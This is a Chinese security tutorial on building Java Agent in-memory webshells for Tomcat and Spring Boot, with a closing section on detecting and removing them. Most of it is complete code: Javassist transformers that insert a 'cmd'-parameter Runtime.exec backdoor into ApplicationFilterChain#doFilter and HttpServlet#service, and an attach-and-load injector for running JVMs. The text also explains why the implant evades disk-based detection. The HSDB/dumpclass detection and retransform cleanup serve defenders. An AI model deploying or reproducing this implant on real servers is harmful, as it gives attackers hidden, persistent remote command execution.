简介
Java Agent是Java虚拟机提供的一种机制,允许在程序运行时动态地修改或增强Java应用程序的行为。Java Agent通常使用Java Instrumentation API实现,可以在Java应用程序启动时通过命令行参数或其他方式加载。
将Java Agent与内存马结合使用,可以实现一种比传统的内存马更难以检测和防御的攻击方式。具体来说,攻击者可以编写一个Java Agent程序,利用Java Instrumentation API动态地修改Java应用程序的字节码,将恶意代码插入到应用程序中,并在应用程序运行时执行恶意代码。由于恶意代码直接在内存中执行,不会在磁盘上留下痕迹,因此很难被传统的防御机制检测和防御。
平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的,如idea的动态调试、alibaba的诊断利器Arthas等
Java Agent
Java Agent 支持两种方式进行加载:
- 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
- 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
premain 实例
Java_Agent_premain.java,premain方法,参数包含Instrumentation1 2 3 4 5 6 7
| public class Java_Agent_premain { public static void premain(String args, Instrumentation inst) { for (int i =0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!"); } } }
|
在resources下创建META-INF/MANIFEST.MF
最后需多一个换行,MANIFEST.MF是一个jar都包含的文件,用于指定jar文件的主类入口和其他属性,这里主要是指定premain类文件1 2 3
| Manifest-Version: 1.0 Premain-Class: org.example.Java_Agent_premain
|
主方法1 2 3 4 5 6
| public class Hello { public static void main(String[] args) { System.out.println("Hello World!"); }
}
|
打包项目为jar包:将会输出到out文件夹中

因为premain是在JVM启动时加载,所以添加JVM启动参数
-javaagent:D:\xxxxx\JavaAgent\out\artifacts\JavaAgent_jar\JavaAgent.jar

启动Hello#main,发现是先执行premain中的代码

agent main
VirtualMachine
premain是在JVM启动前执行操作,但在实际中一个网站已经是处于启动状态,而且还需要设置JVM启动参数,这在现实中是不太可能的。
agentmain可以在JVM启动后动态修改类字节码文件。
在VirtualMachine(位于tools.jar中,需要导入到lib)中,定义了一些对JVM操作的一些方法
1 2 3 4 5 6 7 8 9 10 11
| VirtualMachine.attach()
VirtualMachine.loadAgent()
VirtualMachine.list()
VirtualMachine.detach()
|

VirtualMachineDescriptor
com.sun.tools.attach.VirtualMachineDescriptor
类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。

Instrumentation
Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果,例如getAllLoadedClasses获取加载的所有类、addTransformer添加transformer用于改变原有类方法等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public interface Instrumentation { void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer); boolean removeTransformer(ClassFileTransformer transformer); void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass(Class<?> theClass); @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize(Object objectToSize); }
|
转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。
1 2
| void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
|

agentmain 实例
主方法:
1 2 3 4 5 6 7 8 9 10 11 12
| public class Hello_Sleep { public static void main(String[] args) throws InterruptedException { while(true) { hello(); sleep(3000); } } public static void hello(){ System.out.println("Hello World!"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example;
import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Hello_Transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { ClassPool pool = ClassPool.getDefault(); if(classBeingRedefined != null){ ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined); pool.insertClassPath(classClassPath); } try { CtClass ctClass = pool.get("org.example.Sleep_Hello"); CtMethod helle = ctClass.getDeclaredMethod("Hello"); helle.setBody("{System.out.println(\"Hello Hacker!\");}");
byte[] bytecode = ctClass.toBytecode(); return bytecode; } catch (Exception e) { e.printStackTrace(); } return null; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain;
public class AgentMain_Transform { public static void agentmain(String args, Instrumentation instrumentation) throws Exception{ Class[] classes = instrumentation.getAllLoadedClasses(); for (Class aClass : classes) { String name = aClass.getName(); if(name.contains("Sleep_Hello")){ instrumentation.addTransformer(new Hello_Transform(),true); instrumentation.retransformClasses(aClass); } } } }
|
/META-INF/MANIFEST.MF
**注意需要添加两个true **才能更改成功
1 2 3 4 5
| Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: org.example.AgentMain_Transform
|
打成jar包(注意需要将tools.jar和javasist加入),最后利用VirtualMachine捕获到进程再attach连接并加载jar包到JVM中运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.example;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Inject_Agent { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor descriptor : list) { if(descriptor.displayName().contains("Sleep_Hello")){ VirtualMachine attach = VirtualMachine.attach(descriptor.id()); attach.loadAgent("out\\artifacts\\JavaAgent_jar\\JavaAgent.jar"); attach.detach(); } } } }
|
先执行Sleep_Hello,在执行Inject_Agent注入agent

Java Agent 内存马
注入位置
以springboot项目实现,与Tomcat内存马实现一致,首先明确内存马的注入位置
随便写个controller路由,此处断点,查看运行到此方法经过那些调用:

看调用栈可以发现多次调用ApplicationFilterChain#doFilter和internalDoFilter,跟进doFilter

doFilter的作用就是调用internalDoFilter,且他的参数为有很大用处的ServletRequest和ServletResponse

其实就是之前分析tomcat的doFilter逻辑,chain责任链机制,一步一步调用doFilter(但也因为这个原因会导致注入内存马后执行多次命令),直到最后到servlet.service结束。

所以,就可以拿doFilter方法作为我们注入恶意代码的地方,并且该方法具备request和response,可以很好的控制输入输出。
注入内存马
其他地方变化不大,主要改一下transform
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.example.javaagent_shell;
import javassist.*;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Filter_Transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { ClassPool pool = ClassPool.getDefault(); if(classBeingRedefined != null){ ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined); pool.insertClassPath(classClassPath); } try { CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod doFilter = ctClass.getDeclaredMethod("doFilter"); String body = "javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}";
doFilter.insertBefore(body); byte[] bytecode = ctClass.toBytecode(); return bytecode; } catch (Exception e) { e.printStackTrace(); } return null; } }
|

然而在doFilter的位置注入内存马有个问题,就是发现在弹计算器时会弹出5个计算器,这显然是不正常且不优雅的,而后面在查看整个调用链时发现调用了多次doFilter,且联想到之前在分析Tomcat的filter时提到的责任链机制,会在这个地方循环调用内存中的filter,因此对应的命令执行也被执行了多次。

针对这个问题直接选择其他注入点即可,hook到其他必经之处且存在对应的request、response对象参数的地方。主要的利用点还是之前实现的tomcat的几大类型内存马位置,如org.apache.catalina.core.StandardWrapperValve#invoke
和 javax.servlet.http.HttpServlet#service
,实现org.apache.catalina.core.StandardWrapperValve#invoke
的注入相对来说是最简单的,只需要将上面的doFilter改为invoke,对应的类改为StandardWrapperValve即可,其他地方不变便可解决上面的问题。在冰蝎3.0中则是选择在HttpServlet#service中注入,但是有个坑点是:HttpServlet下存在两个service方法,在使用javasist获取他的方法时不能直接以service名简单获取,会直接抛出赋值时错误


因为两个同名方法各自的参数及类型和访问修饰符是不同的(public与protected),因此需要针对这两点做判断:
给出service修改访问修饰符的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public class Filter_Transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { ClassPool pool = ClassPool.getDefault(); if(classBeingRedefined != null){ ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined); pool.insertClassPath(classClassPath); } try { CtClass ctClass = pool.get("javax.servlet.http.HttpServlet"); CtMethod[] methods = ctClass.getDeclaredMethods("service"); CtMethod publicMethod = null; for (CtMethod method : methods) { if (Modifier.isPublic(method.getModifiers())) { publicMethod = method; } } String body = "javax.servlet.http.HttpServletRequest request = req;\n" + "javax.servlet.http.HttpServletResponse response = res;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}"; publicMethod.insertBefore(body); byte[] bytecode = ctClass.toBytecode(); return bytecode; } catch (Exception e) { e.printStackTrace(); } return null; } }
|
检测和清除
参考:https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg
在JDK的/lib文件夹下提供了sa-jdi.jar,其中包含多个接口,用于分析调试程序和JVM,这里用到的就是HSDB。
启动:java -cp sa-jdi.jar sun.jvm.hotspot.HSDB
找到java对应的进程pid,与JVM attach建立连接:
Tool->Class Browser -> 搜索可能被注入agent的类

但是这样并不能完全看到每个类下方法内的具体标准代码,可以使用该项目dumpclass具体类,原理也是操作sa-jdi.jar,只是更加方便。
命令:java -jar .\dumpclass.jar -p 49832 *ApplicationFilterChain
即可下载该类文件分析。
当确定该类存在恶意代码时,即可做下一步的清除工作。
清除的方法实际上与注入agent的方法是一致的,原理就是文章里面提到的:如果类是在第一次加载的的时候就做了transform,那么做retransform的时候会将代码回滚到transform之后的代码 如果类是在第一次加载的的时候没有任何变化,那么做retransform的时候会将代码回滚到最原始的类文件里的字节码 如果类已经加载了,期间类可能做过多次redefine(比如被另外一个agent做过),但是接下来加载一个新的agent要求有retransform的能力了,然后对类做redefine的动作,那么retransform的时候会将代码回滚到上一个agent最后一次做redefine后的字节码。
因此,我们只要利用javasist获取到该类,在transform中不做任何操作即返回就能使该类回滚到注入之前的字节码,达到清除的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class Delete_Transform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("javax.servlet.http.HttpServlet")){ ClassPool pool = ClassPool.getDefault(); try{ CtClass ctClass = pool.get("javax.servlet.http.HttpServlet"); byte[] bytecode = ctClass.toBytecode(); ctClass.detach(); System.out.printf("已还原: %s",className); return bytecode; } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class AgentMain_Delete { public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException { Class[] classes = instrumentation.getAllLoadedClasses(); for (Class aClass : classes) { String name = aClass.getName(); if(name.equals("javax.servlet.http.HttpServlet")){ System.out.println("find evil_class:" + name); instrumentation.addTransformer(new Delete_Transform(),true); instrumentation.retransformClasses(aClass); } } } }
|
再次访问发现已经被删除,此时若再次注入时,则不会成功。
小结
大概流程如下

Ref
http://wjlshare.com/archives/1582
https://goodapple.top/archives/1355#leftbar_tab_catalog
https://xz.aliyun.com/t/9450
冰蝎内存马、反查杀https://xz.aliyun.com/t/11003#toc-12
https://blog.csdn.net/HBohan/article/details/123133493?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123133493-blog-116262712.235%5Ev36%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123133493-blog-116262712.235%5Ev36%5Epc_relevant_default_base&utm_relevant_index=3